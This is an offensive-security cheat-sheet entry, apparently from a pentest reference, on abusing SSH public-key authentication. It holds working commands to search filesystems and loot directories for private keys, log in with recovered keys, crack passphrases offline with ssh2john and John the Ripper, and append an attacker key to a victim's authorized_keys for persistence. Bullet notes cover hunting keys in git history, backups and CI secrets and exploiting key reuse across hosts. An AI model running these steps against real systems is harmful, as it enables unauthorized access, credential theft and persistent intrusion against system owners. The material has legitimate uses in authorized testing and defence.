Public-key authentication is how most real SSH access is granted, and its security rests entirely on the secrecy of the private key, which is routinely lost. Private keys get committed to Git repositories, left world-readable in file shares and backups, baked into container images and VM templates, and stored without a passphrase for automation. A recovered private key authenticates as its owner immediately, no password involved, and because operators reuse the same key across many hosts, a single find frequently unlocks a fleet. The converse, writing an attacker public key into a target's authorized_keys, is durable access and persistence.
# hunt for private keys wherever files are readable
grep -rlE 'BEGIN (OPENSSH|RSA|EC|DSA) PRIVATE KEY' /mnt/share /loot 2>/dev/null
find / -name 'id_rsa' -o -name 'id_ed25519' -o -name '*.pem' -o -name '*.ppk' 2>/dev/null
# use a recovered key
chmod 600 id_rsa; ssh -i id_rsa user@<target>
# passphrase-protected? crack offline
ssh2john id_rsa > h && john --wordlist=rockyou.txt h
# convert PuTTY .ppk to OpenSSH if needed
puttygen key.ppk -O private-openssh -o id_rsa
# plant a key for access/persistence where you can write authorized_keys
echo 'ssh-ed25519 AAAA... a' >> ~victim/.ssh/authorized_keys
Exploitation notes#
- Search broadly: repositories and their history (
.git), file shares, backups, image layers, CI secrets, and home directories; a passphraseless key is instant access, a passphrased one is crackable offline withssh2john. - Key reuse is the multiplier: map where the public half appears (
authorized_keysacross hosts, deploy keys) to find every system a recovered key opens. - The matching username matters: a key authenticates as whichever account lists it in
authorized_keys; try the obvious owner and common accounts (root, service names). - Writing
authorized_keysdoubles as persistence; combine with any file-write primitive on the target's home (an NFS UID-spoof write, a writable share, an existing foothold).